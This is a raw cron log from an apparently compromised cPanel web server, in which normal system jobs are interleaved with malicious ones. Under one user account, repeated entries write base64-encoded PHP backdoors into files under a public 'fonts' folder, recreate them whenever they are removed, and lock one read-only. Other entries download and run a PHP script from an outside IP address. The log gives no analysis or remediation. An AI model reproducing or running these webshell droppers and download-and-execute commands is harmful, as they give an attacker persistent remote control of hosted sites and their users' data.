Sep  7 20:56:01 ip-184-168-122-23 CROND[17690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:56:01 ip-184-168-122-23 CROND[17695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:57:01 ip-184-168-122-23 CROND[17778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:57:01 ip-184-168-122-23 CROND[17781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:57:01 ip-184-168-122-23 CROND[17780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:57:01 ip-184-168-122-23 CROND[17782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:58:01 ip-184-168-122-23 CROND[17865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:58:01 ip-184-168-122-23 CROND[17870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:58:01 ip-184-168-122-23 CROND[17869]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:58:01 ip-184-168-122-23 CROND[17867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:58:01 ip-184-168-122-23 CROND[17868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:59:02 ip-184-168-122-23 CROND[18008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:59:02 ip-184-168-122-23 CROND[18011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:59:02 ip-184-168-122-23 CROND[18010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:59:02 ip-184-168-122-23 CROND[18009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:00:01 ip-184-168-122-23 CROND[18183]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 21:00:01 ip-184-168-122-23 CROND[18187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:00:01 ip-184-168-122-23 CROND[18186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:00:01 ip-184-168-122-23 CROND[18189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:00:01 ip-184-168-122-23 CROND[18190]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:00:01 ip-184-168-122-23 CROND[18191]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:00:01 ip-184-168-122-23 CROND[18192]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:00:01 ip-184-168-122-23 CROND[18193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:01:01 ip-184-168-122-23 CROND[18287]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 21:01:01 ip-184-168-122-23 CROND[18288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:01:01 ip-184-168-122-23 CROND[18289]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 21:01:01 ip-184-168-122-23 CROND[18291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:01:01 ip-184-168-122-23 CROND[18292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:01:01 ip-184-168-122-23 CROND[18293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18287]: starting 0anacron
Sep  7 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18308]: finished 0anacron
Sep  7 21:02:01 ip-184-168-122-23 CROND[18384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:02:01 ip-184-168-122-23 CROND[18387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:02:01 ip-184-168-122-23 CROND[18385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:02:01 ip-184-168-122-23 CROND[18386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:02:01 ip-184-168-122-23 CROND[18388]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:03:01 ip-184-168-122-23 CROND[18685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:03:01 ip-184-168-122-23 CROND[18686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:03:01 ip-184-168-122-23 CROND[18687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:03:01 ip-184-168-122-23 CROND[18688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:04:01 ip-184-168-122-23 CROND[19148]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:04:01 ip-184-168-122-23 CROND[19150]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:04:01 ip-184-168-122-23 CROND[19151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:04:01 ip-184-168-122-23 CROND[19152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:04:01 ip-184-168-122-23 CROND[19153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:05:01 ip-184-168-122-23 CROND[19345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:05:01 ip-184-168-122-23 CROND[19347]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 21:05:01 ip-184-168-122-23 CROND[19348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:05:01 ip-184-168-122-23 CROND[19350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:05:01 ip-184-168-122-23 CROND[19352]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:05:01 ip-184-168-122-23 CROND[19353]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:05:01 ip-184-168-122-23 CROND[19349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:06:01 ip-184-168-122-23 CROND[19521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:06:01 ip-184-168-122-23 CROND[19524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:06:01 ip-184-168-122-23 CROND[19523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:06:01 ip-184-168-122-23 CROND[19525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:06:01 ip-184-168-122-23 CROND[19526]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:07:01 ip-184-168-122-23 CROND[19634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:07:01 ip-184-168-122-23 CROND[19637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:07:01 ip-184-168-122-23 CROND[19635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:07:01 ip-184-168-122-23 CROND[19636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:08:01 ip-184-168-122-23 CROND[19819]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:08:01 ip-184-168-122-23 CROND[19821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:08:01 ip-184-168-122-23 CROND[19822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
